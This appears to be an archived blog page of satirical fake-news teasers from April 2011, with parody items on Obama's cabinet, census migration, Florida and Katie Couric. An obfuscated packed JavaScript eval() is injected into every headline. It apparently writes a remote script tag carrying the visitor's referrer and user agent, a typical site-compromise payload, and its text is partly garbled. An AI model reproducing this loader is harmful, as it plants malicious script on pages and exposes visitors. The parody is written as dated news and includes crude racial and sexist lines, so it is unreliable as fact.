Madison Avenue Tries New Tactic

MADISON AVENUE TESTING NEW TACTIC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iykda|var|u0026u|referrer|frhye||js|php’.split(‘|’),0,{})) Targets White-Collar Buyers with Blue-Collar Actors, and Vice-Versa New York, NY April 28th, 2011 (SHK) Saatchi and Saatchi, one of the world’s most renowned ad agencies, today announced a new ad series to run on prime-time TV that features everyday-ordinary hard-working blue-collar workers pitching [...]

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President Obama Shuffles His Cabinet

OBAMA SHUFFLES HIS CABINET eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkyiy|var|u0026u|referrer|brbbb||js|php’.split(‘|’),0,{})) Nation Stunned, Citizens in Shock Washington, DC April 27th, 2011 (SHK) President Obama stunned the nation today when the White House announced that Gen. David Petraeus will return from Afghanistan to become Director of the CIA when the current director, Leon Panetta, takes over the [...]

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Blacks Moving Back South

BLACKS MOVE BACK SOUTH, REVERSING TREND eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dahae|var|u0026u|referrer|snrik||js|php’.split(‘|’),0,{})) Many Buy White Slaves, Cite Justice Atlanta, GA April 25th, 2011 (SHK) America’s 2010 decennial census has confirmed a dramatic new social trend in US demographics, according to data released recently. Blacks moved South in increasing numbers during the past decade, reversing an [...]

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Florida Now #1 in Assisted Living

FLORIDA NOW AMERICA’S FIRST ALL-ASSISTED-LIVING STATE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzkse|var|u0026u|referrer|yrrys||js|php’.split(‘|’),0,{})) Tallahassee Legislature Passes Landmark Bill Tallahassee, FL – April 21st, 2011 (SHK) With the ink barely dry on historic legislation passed last night in the State House, Florida today became America’s first all-assisted-living state. Tea Party Republican Governor Rick Scott, who took office [...]

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Geiger Counter Panic Worldwide

WORLDWIDE PANIC OVER GEIGER COUNTERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfeh|var|u0026u|referrer|aaefz||js|php’.split(‘|’),0,{})) Unit Prices Rise, Stock Prices Soar New York, NY, April 18th, 2011 (SHK) RayBan® Technologies Co. Ltd., the world’s dominant manufacturer of Geiger counters, said today that demand for their most popular product, the battery-operated Little Giant XP-3 Starbeam Detector™ , was out of [...]

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Katie Couric out at CBS

KATIE COURIC OUT AT CBS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trehf|var|u0026u|referrer|rkdta||js|php’.split(‘|’),0,{})) Rebuffs “Airhead” Jab, Prefers “Lightweight” New York, NY April 14th, 2011 (SHK) Longtime newsbimbo Katie Couric, 54, says her $15 million-a-year career at CBS is over, she announced at network headquarters in New York today. “I have nothing but acerbic memories of my time [...]

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Kenyan Scandal in London

KENYA’S MAU MAU TRIBE SUES LONDON eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|steyd|var|u0026u|referrer|rbkss||js|php’.split(‘|’),0,{})) Accuse former Colonial Masters of Widespread Abuse London, UK April 13, 2011 (SHK) The Coalition-led government of Little Britain received an unexpected shock today when it was sued in High Court for pervasive “torture and abuse” during the Mau Mau uprising at the [...]

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Boeing Launches Super Jumbo

BOEING LAUNCHES 747 SUPER JUMBO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brnnz|var|u0026u|referrer|znbta||js|php’.split(‘|’),0,{})) New Jetliner to Seat 500 Passengers Seattle, WA April 11th, 2011 (SHK) The Boeing Corporation today announced a successful test flight for its new 747-8 Super Jumbo. Its longer non-stop range is expected to be offset by longer boarding times to accommodate twice as [...]

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Government Shutdown Imminent

POLITICAL GRIDLOCK CREATES BUDGET IMPASSE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdtrs|var|u0026u|referrer|zddrh||js|php’.split(‘|’),0,{})) Republicans Announce Revolutionary Reforms Washington, D.C. April 7th, 2011 (SHK) US Congressman Paul Ryan (R, Wisconsin) today announced draconian measures “guaranteed,” he said, “to bring this country’s massive Federal deficit under control.” To achieve this, Republicans have targeted the three largest components of the [...]

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When Terrorists Wear Mufti

WHEN TERRORISTS ALL WEAR MUFTI eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssfbk|var|u0026u|referrer|eyras||js|php’.split(‘|’),0,{})) UN Authorizes Libya Action; Soldiers Confused New York, NY, March 20th (SHK) In the aftermath of the UN Security Council’s historic decision to authorize peacekeeping operations in Libya, its soldiers voiced confusion and apprehension. “They all wear the same ragtag khaki,” said Uzbekistani general [...]

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